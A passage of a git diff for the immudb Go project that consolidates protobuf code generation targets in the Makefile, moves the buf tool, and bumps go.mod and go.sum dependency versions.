-I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --go_out=paths=source_relative:pkg/api/documentschema \ - --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/documentschema \ - --plugin=protoc-gen-go=$(PWD)/scripts/protoc-gen-go \ - --plugin=protoc-gen-go-grpc=$(PWD)/scripts/protoc-gen-go-grpc - - $(PROTOC) -I pkg/api/documentschema/ pkg/api/documentschema/documentschema.proto \ - -I pkg/api/schema/ \ - -I$(GOPATH)/pkg/mod \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/documentschema \ - --plugin=protoc-gen-grpc-gateway=$(PWD)/scripts/protoc-gen-grpc-gateway - - $(PROTOC) -I pkg/api/documentschema/ pkg/api/documentschema/documentschema.proto \ - -I pkg/api/schema/ \ - -I$(GOPATH)/pkg/mod \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --swagger_out=logtostderr=true:pkg/api/documentschema \ - --plugin=protoc-gen-swagger=$(PWD)/scripts/protoc-gen-swagger - - $(PROTOC) -I pkg/api/documentschema/ pkg/api/documentschema/documentschema.proto \ - -I pkg/api/schema/ \ - -I$(GOPATH)/pkg/mod \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --doc_out=pkg/api/documentschema --doc_opt=markdown,docs.md \ - --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc - -.PHONY: build/codegenauthorization -build/codegenauthorization: - $(PROTOC) -I pkg/api/authorizationschema/ pkg/api/authorizationschema/authorizationschema.proto \ - -I pkg/api/schema/ \ - -I$(GOPATH)/pkg/mod \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --go_out=paths=source_relative:pkg/api/authorizationschema \ - --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/authorizationschema \ - --plugin=protoc-gen-go=$(PWD)/scripts/protoc-gen-go \ - --plugin=protoc-gen-go-grpc=$(PWD)/scripts/protoc-gen-go-grpc - - $(PROTOC) -I pkg/api/authorizationschema/ pkg/api/authorizationschema/authorizationschema.proto \ - -I pkg/api/schema/ \ - -I$(GOPATH)/pkg/mod \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/authorizationschema \ - --plugin=protoc-gen-grpc-gateway=$(PWD)/scripts/protoc-gen-grpc-gateway - - $(PROTOC) -I pkg/api/authorizationschema/ pkg/api/authorizationschema/authorizationschema.proto \ - -I pkg/api/schema/ \ - -I$(GOPATH)/pkg/mod \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --swagger_out=logtostderr=true:pkg/api/authorizationschema \ - --plugin=protoc-gen-swagger=$(PWD)/scripts/protoc-gen-swagger +.PHONY: build/codegenv2 +build/codegenv2: + $(PWD)/ext-tools/buf format -w - $(PROTOC) -I pkg/api/authorizationschema/ pkg/api/authorizationschema/authorizationschema.proto \ + $(PROTOC) -I pkg/api/proto/ pkg/api/proto/authorization.proto pkg/api/proto/documents.proto \ -I pkg/api/schema/ \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --doc_out=pkg/api/authorizationschema --doc_opt=markdown,docs.md \ - --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc + --go_out=paths=source_relative:pkg/api/protomodel \ + --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/protomodel \ + --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/protomodel \ + --doc_out=pkg/api/protomodel --doc_opt=markdown,docs.md \ + --openapiv2_out=allow_merge=true,simple_operation_ids=true:pkg/api/openapi \ ./swagger/dist: rm -rf swagger/dist/ curl -L $(SWAGGERUILINK) | tar -xz -C swagger mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) - cp pkg/api/authorizationschema/authorizationschema.swagger.json swagger/dist/authorizationschema.swagger.json - cp pkg/api/documentschema/documentschema.swagger.json swagger/dist/documentschema.swagger.json + cp pkg/api/openapi/apidocs.swagger.json swagger/dist/apidocs.swagger.json cp pkg/api/schema/schema.swagger.json swagger/dist/schema.swagger.json cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js diff --git a/scripts/buf b/ext-tools/buf similarity index 100% rename from scripts/buf rename to ext-tools/buf diff --git a/go.mod b/go.mod index 6c5bf498c2..5fc4cd5608 100644 --- a/go.mod +++ b/go.mod @@ -3,6 +3,7 @@ module github.com/codenotary/immudb go 1.17 require ( + github.com/deepmap/oapi-codegen v1.8.2 github.com/fatih/color v1.13.0 github.com/gizak/termui/v3 v3.1.0 github.com/gogo/protobuf v1.3.2 @@ -10,6 +11,7 @@ require ( github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 github.com/grpc-ecosystem/grpc-gateway v1.16.0 + github.com/grpc-ecosystem/grpc-gateway/v2 v2.15.2 github.com/influxdata/influxdb-client-go/v2 v2.12.2 github.com/jackc/pgx/v4 v4.16.1 github.com/jaswdr/faker v1.16.0 @@ -36,11 +38,11 @@ require ( golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e golang.org/x/net v0.7.0 golang.org/x/sys v0.5.0 - golang.org/x/tools v0.1.12 - google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd - google.golang.org/grpc v1.46.2 + golang.org/x/tools v0.3.0 + google.golang.org/genproto v0.0.0-20230223222841-637eb2293923 + google.golang.org/grpc v1.53.0 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 - google.golang.org/protobuf v1.28.0 + google.golang.org/protobuf v1.28.1 ) require ( @@ -52,15 +54,14 @@ require ( github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/cespare/xxhash v1.1.0 // indirect - github.com/cespare/xxhash/v2 v2.1.2 // indirect + github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect github.com/davecgh/go-spew v1.1.1 // indirect - github.com/deepmap/oapi-codegen v1.8.2 // indirect github.com/dgraph-io/ristretto v0.0.2 // indirect - github.com/envoyproxy/protoc-gen-validate v0.3.0-java // indirect + github.com/envoyproxy/protoc-gen-validate v0.9.1 // indirect github.com/fsnotify/fsnotify v1.5.4 // indirect github.com/ghodss/yaml v1.0.0 // indirect - github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b // indirect + github.com/golang/glog v1.0.0 // indirect github.com/google/uuid v1.3.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect github.com/huandu/xstrings v1.3.2 // indirect @@ -95,13 +96,13 @@ require ( github.com/pseudomuto/protokit v0.2.1 // indirect github.com/rivo/uniseg v0.2.0 // indirect github.com/russross/blackfriday/v2 v2.1.0 // indirect - github.com/spf13/afero v1.8.2 // indirect + github.com/spf13/afero v1.9.2 // indirect github.com/spf13/cast v1.5.0 // indirect github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.3.0 // indirect github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/pretty v1.2.0 // indirect - golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect + golang.org/x/mod v0.7.0 // indirect golang.org/x/term v0.5.0 // indirect golang.org/x/text v0.7.0 // indirect gopkg.in/ini.v1 v1.66.6 // indirect diff --git a/go.sum b/go.sum index 1b376971fe..141df9620d 100644 --- a/go.sum +++ b/go.sum @@ -26,30 +26,367 @@ cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+Y cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= +cloud.google.com/go v0.100.1/go.mod h1:fs4QogzfH5n2pBXBP9vRiU+eCny7lD2vmFZy79Iuw1U= cloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A= +cloud.google.com/go v0.102.0/go.mod h1:oWcCzKlqJ5zgHQt9YsaeTY9KzIvjyy0ArmiBUgpQ+nc= +cloud.google.com/go v0.102.1/go.mod h1:XZ77E9qnTEnrgEOvr4xzfdX5TRo7fB4T2F4O6+34hIU= +cloud.google.com/go v0.104.0/go.mod h1:OO6xxXdJyvuJPcEPBLN9BJPD+jep5G1+2U5B5gkRYtA= +cloud.google.com/go v0.105.0/go.mod h1:PrLgOJNe5nfE9UMxKxgXj4mD3voiP+YQ6gdt6KMFOKM= +cloud.google.com/go v0.107.0/go.mod h1:wpc2eNrD7hXUTy8EKS10jkxpZBjASrORK7goS+3YX2I= +cloud.google.com/go/accessapproval v1.4.0/go.mod h1:zybIuC3KpDOvotz59lFe5qxRZx6C75OtwbisN56xYB4= +cloud.google.com/go/accessapproval v1.5.0/go.mod h1:HFy3tuiGvMdcd/u+Cu5b9NkO1pEICJ46IR82PoUdplw= +cloud.google.com/go/accesscontextmanager v1.3.0/go.mod h1:TgCBehyr5gNMz7ZaH9xubp+CE8dkrszb4oK9CWyvD4o= +cloud.google.com/go/accesscontextmanager v1.4.0/go.mod h1:/Kjh7BBu/Gh83sv+K60vN9QE5NJcd80sU33vIe2IFPE= +cloud.google.com/go/aiplatform v1.22.0/go.mod h1:ig5Nct50bZlzV6NvKaTwmplLLddFx0YReh9WfTO5jKw= +cloud.google.com/go/aiplatform v1.24.0/go.mod h1:67UUvRBKG6GTayHKV8DBv2RtR1t93YRu5B1P3x99mYY= +cloud.google.com/go/aiplatform v1.27.0/go.mod h1:Bvxqtl40l0WImSb04d0hXFU7gDOiq9jQmorivIiWcKg= +cloud.google.com/go/analytics v0.11.0/go.mod h1:DjEWCu41bVbYcKyvlws9Er60YE4a//bK6mnhWvQeFNI= +cloud.google.com/go/analytics v0.12.0/go.mod h1:gkfj9h6XRf9+TS4bmuhPEShsh3hH8PAZzm/41OOhQd4= +cloud.google.com/go/apigateway v1.3.0/go.mod h1:89Z8Bhpmxu6AmUxuVRg/ECRGReEdiP3vQtk4Z1J9rJk= +cloud.google.com/go/apigateway v1.4.0/go.mod h1:pHVY9MKGaH9PQ3pJ4YLzoj6U5FUDeDFBllIz7WmzJoc= +cloud.google.com/go/apigeeconnect v1.3.0/go.mod h1:G/AwXFAKo0gIXkPTVfZDd2qA1TxBXJ3MgMRBQkIi9jc= +cloud.google.com/go/apigeeconnect v1.4.0/go.mod h1:kV4NwOKqjvt2JYR0AoIWo2QGfoRtn/pkS3QlHp0Ni04= +cloud.google.com/go/apigeeregistry v0.4.0/go.mod h1:EUG4PGcsZvxOXAdyEghIdXwAEi/4MEaoqLMLDMIwKXY= +cloud.google.com/go/apikeys v0.4.0/go.mod h1:XATS/yqZbaBK0HOssf+ALHp8jAlNHUgyfprvNcBIszU= +cloud.google.com/go/appengine v1.4.0/go.mod h1:CS2NhuBuDXM9f+qscZ6V86m1MIIqPj3WC/UoEuR1Sno= +cloud.google.com/go/appengine v1.5.0/go.mod h1:TfasSozdkFI0zeoxW3PTBLiNqRmzraodCWatWI9Dmak= +cloud.google.com/go/area120 v0.5.0/go.mod h1:DE/n4mp+iqVyvxHN41Vf1CR602GiHQjFPusMFW6bGR4= +cloud.google.com/go/area120 v0.6.0/go.mod h1:39yFJqWVgm0UZqWTOdqkLhjoC7uFfgXRC8g/ZegeAh0= +cloud.google.com/go/artifactregistry v1.6.0/go.mod h1:IYt0oBPSAGYj/kprzsBjZ/4LnG/zOcHyFHjWPCi6SAQ= +cloud.google.com/go/artifactregistry v1.7.0/go.mod h1:mqTOFOnGZx8EtSqK/ZWcsm/4U8B77rbcLP6ruDU2Ixk= +cloud.google.com/go/artifactregistry v1.8.0/go.mod h1:w3GQXkJX8hiKN0v+at4b0qotwijQbYUqF2GWkZzAhC0= +cloud.google.com/go/artifactregistry v1.9.0/go.mod h1:2K2RqvA2CYvAeARHRkLDhMDJ3OXy26h3XW+3/Jh2uYc= +cloud.google.com/go/asset v1.5.0/go.mod h1:5mfs8UvcM5wHhqtSv8J1CtxxaQq3AdBxxQi2jGW/K4o= +cloud.google.com/go/asset v1.7.0/go.mod h1:YbENsRK4+xTiL+Ofoj5Ckf+O17kJtgp3Y3nn4uzZz5s= +cloud.google.com/go/asset v1.8.0/go.mod h1:mUNGKhiqIdbr8X7KNayoYvyc4HbbFO9URsjbytpUaW0= +cloud.google.com/go/asset v1.9.0/go.mod h1:83MOE6jEJBMqFKadM9NLRcs80Gdw76qGuHn8m3h8oHQ= +cloud.google.com/go/asset v1.10.0/go.mod h1:pLz7uokL80qKhzKr4xXGvBQXnzHn5evJAEAtZiIb0wY= +cloud.google.com/go/assuredworkloads v1.5.0/go.mod h1:n8HOZ6pff6re5KYfBXcFvSViQjDwxFkAkmUFffJRbbY= +cloud.google.com/go/assuredworkloads v1.6.0/go.mod h1:yo2YOk37Yc89Rsd5QMVECvjaMKymF9OP+QXWlKXUkXw= +cloud.google.com/go/assuredworkloads v1.7.0/go.mod h1:z/736/oNmtGAyU47reJgGN+KVoYoxeLBoj4XkKYscNI= +cloud.google.com/go/assuredworkloads v1.8.0/go.mod h1:AsX2cqyNCOvEQC8RMPnoc0yEarXQk6WEKkxYfL6kGIo= +cloud.google.com/go/assuredworkloads v1.9.0/go.mod h1:kFuI1P78bplYtT77Tb1hi0FMxM0vVpRC7VVoJC3ZoT0= +cloud.google.com/go/automl v1.5.0/go.mod h1:34EjfoFGMZ5sgJ9EoLsRtdPSNZLcfflJR39VbVNS2M0= +cloud.google.com/go/automl v1.6.0/go.mod h1:ugf8a6Fx+zP0D59WLhqgTDsQI9w07o64uf/Is3Nh5p8= +cloud.google.com/go/automl v1.7.0/go.mod h1:RL9MYCCsJEOmt0Wf3z9uzG0a7adTT1fe+aObgSpkCt8= +cloud.google.com/go/automl v1.8.0/go.mod h1:xWx7G/aPEe/NP+qzYXktoBSDfjO+vnKMGgsApGJJquM= +cloud.google.com/go/baremetalsolution v0.3.0/go.mod h1:XOrocE+pvK1xFfleEnShBlNAXf+j5blPPxrhjKgnIFc= +cloud.google.com/go/baremetalsolution v0.4.0/go.mod h1:BymplhAadOO/eBa7KewQ0Ppg4A4Wplbn+PsFKRLo0uI= +cloud.google.com/go/batch v0.3.0/go.mod h1:TR18ZoAekj1GuirsUsR1ZTKN3FC/4UDnScjT8NXImFE= +cloud.google.com/go/batch v0.4.0/go.mod h1:WZkHnP43R/QCGQsZ+0JyG4i79ranE2u8xvjq/9+STPE= +cloud.google.com/go/beyondcorp v0.2.0/go.mod h1:TB7Bd+EEtcw9PCPQhCJtJGjk/7TC6ckmnSFS+xwTfm4= +cloud.google.com/go/beyondcorp v0.3.0/go.mod h1:E5U5lcrcXMsCuoDNyGrpyTm/hn7ne941Jz2vmksAxW8= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= +cloud.google.com/go/bigquery v1.42.0/go.mod h1:8dRTJxhtG+vwBKzE5OseQn/hiydoQN3EedCaOdYmxRA= +cloud.google.com/go/bigquery v1.43.0/go.mod h1:ZMQcXHsl+xmU1z36G2jNGZmKp9zNY5BUua5wDgmNCfw= +cloud.google.com/go/bigquery v1.44.0/go.mod h1:0Y33VqXTEsbamHJvJHdFmtqHvMIY28aK1+dFsvaChGc= +cloud.google.com/go/billing v1.4.0/go.mod h1:g9IdKBEFlItS8bTtlrZdVLWSSdSyFUZKXNS02zKMOZY= +cloud.google.com/go/billing v1.5.0/go.mod h1:mztb1tBc3QekhjSgmpf/CV4LzWXLzCArwpLmP2Gm88s= +cloud.google.com/go/billing v1.6.0/go.mod h1:WoXzguj+BeHXPbKfNWkqVtDdzORazmCjraY+vrxcyvI= +cloud.google.com/go/billing v1.7.0/go.mod h1:q457N3Hbj9lYwwRbnlD7vUpyjq6u5U1RAOArInEiD5Y= +cloud.google.com/go/binaryauthorization v1.1.0/go.mod h1:xwnoWu3Y84jbuHa0zd526MJYmtnVXn0syOjaJgy4+dM= +cloud.google.com/go/binaryauthorization v1.2.0/go.mod h1:86WKkJHtRcv5ViNABtYMhhNWRrD1Vpi//uKEy7aYEfI= +cloud.google.com/go/binaryauthorization v1.3.0/go.mod h1:lRZbKgjDIIQvzYQS1p99A7/U1JqvqeZg0wiI5tp6tg0= +cloud.google.com/go/binaryauthorization v1.4.0/go.mod h1:tsSPQrBd77VLplV70GUhBf/Zm3FsKmgSqgm4UmiDItk= +cloud.google.com/go/certificatemanager v1.3.0/go.mod h1:n6twGDvcUBFu9uBgt4eYvvf3sQ6My8jADcOVwHmzadg= +cloud.google.com/go/certificatemanager v1.4.0/go.mod h1:vowpercVFyqs8ABSmrdV+GiFf2H/ch3KyudYQEMM590= +cloud.google.com/go/channel v1.8.0/go.mod h1:W5SwCXDJsq/rg3tn3oG0LOxpAo6IMxNa09ngphpSlnk= +cloud.google.com/go/channel v1.9.0/go.mod h1:jcu05W0my9Vx4mt3/rEHpfxc9eKi9XwsdDL8yBMbKUk= +cloud.google.com/go/cloudbuild v1.3.0/go.mod h1:WequR4ULxlqvMsjDEEEFnOG5ZSRSgWOywXYDb1vPE6U= +cloud.google.com/go/cloudbuild v1.4.0/go.mod h1:5Qwa40LHiOXmz3386FrjrYM93rM/hdRr7b53sySrTqA= +cloud.google.com/go/clouddms v1.3.0/go.mod h1:oK6XsCDdW4Ib3jCCBugx+gVjevp2TMXFtgxvPSee3OM= +cloud.google.com/go/clouddms v1.4.0/go.mod h1:Eh7sUGCC+aKry14O1NRljhjyrr0NFC0G2cjwX0cByRk= +cloud.google.com/go/cloudtasks v1.5.0/go.mod h1:fD92REy1x5woxkKEkLdvavGnPJGEn8Uic9nWuLzqCpY= +cloud.google.com/go/cloudtasks v1.6.0/go.mod h1:C6Io+sxuke9/KNRkbQpihnW93SWDU3uXt92nu85HkYI= +cloud.google.com/go/cloudtasks v1.7.0/go.mod h1:ImsfdYWwlWNJbdgPIIGJWC+gemEGTBK/SunNQQNCAb4= +cloud.google.com/go/cloudtasks v1.8.0/go.mod h1:gQXUIwCSOI4yPVK7DgTVFiiP0ZW/eQkydWzwVMdHxrI= cloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow= cloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM= cloud.google.com/go/compute v1.5.0/go.mod h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M= cloud.google.com/go/compute v1.6.0/go.mod h1:T29tfhtVbq1wvAPo0E3+7vhgmkOYeXjhFvz/FMzPu0s= cloud.google.com/go/compute v1.6.1/go.mod h1:g85FgpzFvNULZ+S8AYq87axRKuf2Kh7deLqV/jJ3thU= +cloud.google.com/go/compute v1.7.0/go.mod h1:435lt8av5oL9P3fv1OEzSbSUe+ybHXGMPQHHZWZxy9U= +cloud.google.com/go/compute v1.10.0/go.mod h1:ER5CLbMxl90o2jtNbGSbtfOpQKR0t15FOtRsugnLrlU= +cloud.google.com/go/compute v1.12.0/go.mod h1:e8yNOBcBONZU1vJKCvCoDw/4JQsA0dpM4x/6PIIOocU= +cloud.google.com/go/compute v1.12.1/go.mod h1:e8yNOBcBONZU1vJKCvCoDw/4JQsA0dpM4x/6PIIOocU= +cloud.google.com/go/compute v1.13.0/go.mod h1:5aPTS0cUNMIc1CE546K+Th6weJUNQErARyZtRXDJ8GE= +cloud.google.com/go/compute v1.14.0/go.mod h1:YfLtxrj9sU4Yxv+sXzZkyPjEyPBZfXHUvjxega5vAdo= +cloud.google.com/go/compute v1.15.1/go.mod h1:bjjoF/NtFUrkD/urWfdHaKuOPDR5nWIs63rR+SXhcpA= +cloud.google.com/go/compute v1.18.0/go.mod h1:1X7yHxec2Ga+Ss6jPyjxRxpu2uu7PLgsOVXvgU0yacs= +cloud.google.com/go/compute/metadata v0.1.0/go.mod h1:Z1VN+bulIf6bt4P/C37K4DyZYZEXYonfTBHHFPO/4UU= +cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= +cloud.google.com/go/compute/metadata v0.2.1/go.mod h1:jgHgmJd2RKBGzXqF5LR2EZMGxBkeanZ9wwa75XHJgOM= +cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA= +cloud.google.com/go/contactcenterinsights v1.3.0/go.mod h1:Eu2oemoePuEFc/xKFPjbTuPSj0fYJcPls9TFlPNnHHY= +cloud.google.com/go/contactcenterinsights v1.4.0/go.mod h1:L2YzkGbPsv+vMQMCADxJoT9YiTTnSEd6fEvCeHTYVck= +cloud.google.com/go/container v1.6.0/go.mod h1:Xazp7GjJSeUYo688S+6J5V+n/t+G5sKBTFkKNudGRxg= +cloud.google.com/go/container v1.7.0/go.mod h1:Dp5AHtmothHGX3DwwIHPgq45Y8KmNsgN3amoYfxVkLo= +cloud.google.com/go/containeranalysis v0.5.1/go.mod h1:1D92jd8gRR/c0fGMlymRgxWD3Qw9C1ff6/T7mLgVL8I= +cloud.google.com/go/containeranalysis v0.6.0/go.mod h1:HEJoiEIu+lEXM+k7+qLCci0h33lX3ZqoYFdmPcoO7s4= +cloud.google.com/go/datacatalog v1.3.0/go.mod h1:g9svFY6tuR+j+hrTw3J2dNcmI0dzmSiyOzm8kpLq0a0= +cloud.google.com/go/datacatalog v1.5.0/go.mod h1:M7GPLNQeLfWqeIm3iuiruhPzkt65+Bx8dAKvScX8jvs= +cloud.google.com/go/datacatalog v1.6.0/go.mod h1:+aEyF8JKg+uXcIdAmmaMUmZ3q1b/lKLtXCmXdnc0lbc= +cloud.google.com/go/datacatalog v1.7.0/go.mod h1:9mEl4AuDYWw81UGc41HonIHH7/sn52H0/tc8f8ZbZIE= +cloud.google.com/go/datacatalog v1.8.0/go.mod h1:KYuoVOv9BM8EYz/4eMFxrr4DUKhGIOXxZoKYF5wdISM= +cloud.google.com/go/dataflow v0.6.0/go.mod h1:9QwV89cGoxjjSR9/r7eFDqqjtvbKxAK2BaYU6PVk9UM= +cloud.google.com/go/dataflow v0.7.0/go.mod h1:PX526vb4ijFMesO1o202EaUmouZKBpjHsTlCtB4parQ= +cloud.google.com/go/dataform v0.3.0/go.mod h1:cj8uNliRlHpa6L3yVhDOBrUXH+BPAO1+KFMQQNSThKo= +cloud.google.com/go/dataform v0.4.0/go.mod h1:fwV6Y4Ty2yIFL89huYlEkwUPtS7YZinZbzzj5S9FzCE= +cloud.google.com/go/dataform v0.5.0/go.mod h1:GFUYRe8IBa2hcomWplodVmUx/iTL0FrsauObOM3Ipr0= +cloud.google.com/go/datafusion v1.4.0/go.mod h1:1Zb6VN+W6ALo85cXnM1IKiPw+yQMKMhB9TsTSRDo/38= +cloud.google.com/go/datafusion v1.5.0/go.mod h1:Kz+l1FGHB0J+4XF2fud96WMmRiq/wj8N9u007vyXZ2w= +cloud.google.com/go/datalabeling v0.5.0/go.mod h1:TGcJ0G2NzcsXSE/97yWjIZO0bXj0KbVlINXMG9ud42I= +cloud.google.com/go/datalabeling v0.6.0/go.mod h1:WqdISuk/+WIGeMkpw/1q7bK/tFEZxsrFJOJdY2bXvTQ= +cloud.google.com/go/dataplex v1.3.0/go.mod h1:hQuRtDg+fCiFgC8j0zV222HvzFQdRd+SVX8gdmFcZzA= +cloud.google.com/go/dataplex v1.4.0/go.mod h1:X51GfLXEMVJ6UN47ESVqvlsRplbLhcsAt0kZCCKsU0A= +cloud.google.com/go/dataproc v1.7.0/go.mod h1:CKAlMjII9H90RXaMpSxQ8EU6dQx6iAYNPcYPOkSbi8s= +cloud.google.com/go/dataproc v1.8.0/go.mod h1:5OW+zNAH0pMpw14JVrPONsxMQYMBqJuzORhIBfBn9uI= +cloud.google.com/go/dataqna v0.5.0/go.mod h1:90Hyk596ft3zUQ8NkFfvICSIfHFh1Bc7C4cK3vbhkeo= +cloud.google.com/go/dataqna v0.6.0/go.mod h1:1lqNpM7rqNLVgWBJyk5NF6Uen2PHym0jtVJonplVsDA= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= +cloud.google.com/go/datastore v1.10.0/go.mod h1:PC5UzAmDEkAmkfaknstTYbNpgE49HAgW2J1gcgUfmdM= +cloud.google.com/go/datastream v1.2.0/go.mod h1:i/uTP8/fZwgATHS/XFu0TcNUhuA0twZxxQ3EyCUQMwo= +cloud.google.com/go/datastream v1.3.0/go.mod h1:cqlOX8xlyYF/uxhiKn6Hbv6WjwPPuI9W2M9SAXwaLLQ= +cloud.google.com/go/datastream v1.4.0/go.mod h1:h9dpzScPhDTs5noEMQVWP8Wx8AFBRyS0s8KWPx/9r0g= +cloud.google.com/go/datastream v1.5.0/go.mod h1:6TZMMNPwjUqZHBKPQ1wwXpb0d5VDVPl2/XoS5yi88q4= +cloud.google.com/go/deploy v1.4.0/go.mod h1:5Xghikd4VrmMLNaF6FiRFDlHb59VM59YoDQnOUdsH/c= +cloud.google.com/go/deploy v1.5.0/go.mod h1:ffgdD0B89tToyW/U/D2eL0jN2+IEV/3EMuXHA0l4r+s= +cloud.google.com/go/dialogflow v1.15.0/go.mod h1:HbHDWs33WOGJgn6rfzBW1Kv807BE3O1+xGbn59zZWI4= +cloud.google.com/go/dialogflow v1.16.1/go.mod h1:po6LlzGfK+smoSmTBnbkIZY2w8ffjz/RcGSS+sh1el0= +cloud.google.com/go/dialogflow v1.17.0/go.mod h1:YNP09C/kXA1aZdBgC/VtXX74G/TKn7XVCcVumTflA+8= +cloud.google.com/go/dialogflow v1.18.0/go.mod h1:trO7Zu5YdyEuR+BhSNOqJezyFQ3aUzz0njv7sMx/iek= +cloud.google.com/go/dialogflow v1.19.0/go.mod h1:JVmlG1TwykZDtxtTXujec4tQ+D8SBFMoosgy+6Gn0s0= +cloud.google.com/go/dialogflow v1.29.0/go.mod h1:b+2bzMe+k1s9V+F2jbJwpHPzrnIyHihAdRFMtn2WXuM= +cloud.google.com/go/dlp v1.6.0/go.mod h1:9eyB2xIhpU0sVwUixfBubDoRwP+GjeUoxxeueZmqvmM= +cloud.google.com/go/dlp v1.7.0/go.mod h1:68ak9vCiMBjbasxeVD17hVPxDEck+ExiHavX8kiHG+Q= +cloud.google.com/go/documentai v1.7.0/go.mod h1:lJvftZB5NRiFSX4moiye1SMxHx0Bc3x1+p9e/RfXYiU= +cloud.google.com/go/documentai v1.8.0/go.mod h1:xGHNEB7CtsnySCNrCFdCyyMz44RhFEEX2Q7UD0c5IhU= +cloud.google.com/go/documentai v1.9.0/go.mod h1:FS5485S8R00U10GhgBC0aNGrJxBP8ZVpEeJ7PQDZd6k= +cloud.google.com/go/documentai v1.10.0/go.mod h1:vod47hKQIPeCfN2QS/jULIvQTugbmdc0ZvxxfQY1bg4= +cloud.google.com/go/domains v0.6.0/go.mod 